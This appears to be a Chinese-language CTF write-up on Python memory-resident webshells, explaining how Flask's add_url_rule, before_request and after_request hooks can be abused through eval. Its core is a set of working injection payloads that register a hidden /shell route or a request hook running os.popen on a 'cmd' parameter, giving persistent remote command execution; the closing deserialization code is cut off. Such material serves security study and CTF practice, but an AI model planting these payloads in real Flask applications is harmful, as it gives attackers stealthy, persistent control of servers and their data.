python内存马
关于python内存马
在羊城杯碰到的一道python题目中有一道涉及到无回显的反序列化,当时是用数据外带的方法做的题目,但是赛后查看wp发现了python内存马这一写法。
老版flask内存马注入
如果想要在python中实现内存马 必须想是否能动态注册新路由
主要做法是通过add_url_rule方法添加一个新的后门路由
add_url_ruel介绍
1 | app.add_url_rule('/index/',endpoint='index',view_func=index) |
三个参数:
url:必须以/开头
endpoint:(站点)
view_func:方法 只需要写方法名也可以为匿名参数),如果使用方法名不要加括号,加括号表示将函数的返回值传给了view_func参数了,程序就会直接报错。
Flask上下文管理机制
在使用 Flask 框架实现功能接口的时候,前端点击按钮发送请求的请求方式和 form 表单提交给后端的数据,后端都是通过 Flask 中的 request 对象来获取的。在 Flask 框架中,这种传递数据的方式被称为上下文管理,在 Flask 框架中有四个上下文管理对象:request ,session,current_app 和 g 变量。其中request 和 session 被称为请求上下文,current_app 和 g 变量被称为应用上下文。
eval用法eval(expression, globals=None, locals=None)
expression(必需):python表达式 执行并访问执行的结果
globals(可选):这是一个字典,它提供了执行表达式时可用的全局变量。如果没有提供,eval()
默认使用调用时的全局作用域(即当前环境中的全局变量)
locals(可选):这是一个字典,表示执行表达式时可用的局部变量。如果没有提供,eval()
默认使用当前作用域中的局部变量。
payload解析
1 | url_for.__globals__['__builtins__']['eval']( |
(1)url_for.__globals__['__builtins__']
Python 中内置的全局函数和对象,包括 print()
、eval()
等。通过这一步,你可以访问内置的 eval()
函数
内存马示例:
1 | `( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )"` |
创建一个新路由 /shell 在这个/shell 获取请求中的cmd参数 如果没有提供cmd参数 就默认执行whoami命令
1 | { '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } |
新版内存马
@app.before_request
在response(响应)之前做响应
1 | eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())") |
@app.after_request
1 | eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)") |
在羊城杯的这道题目中使用反序列化去打内存马即:
1 | import os |
1 | import os |
总结内存马并不同于php的一句话木马,其是将木马打入内存之中,当用户访问创建的路由时内存马即可执行,相较于一句话木马来说这种隐蔽性更高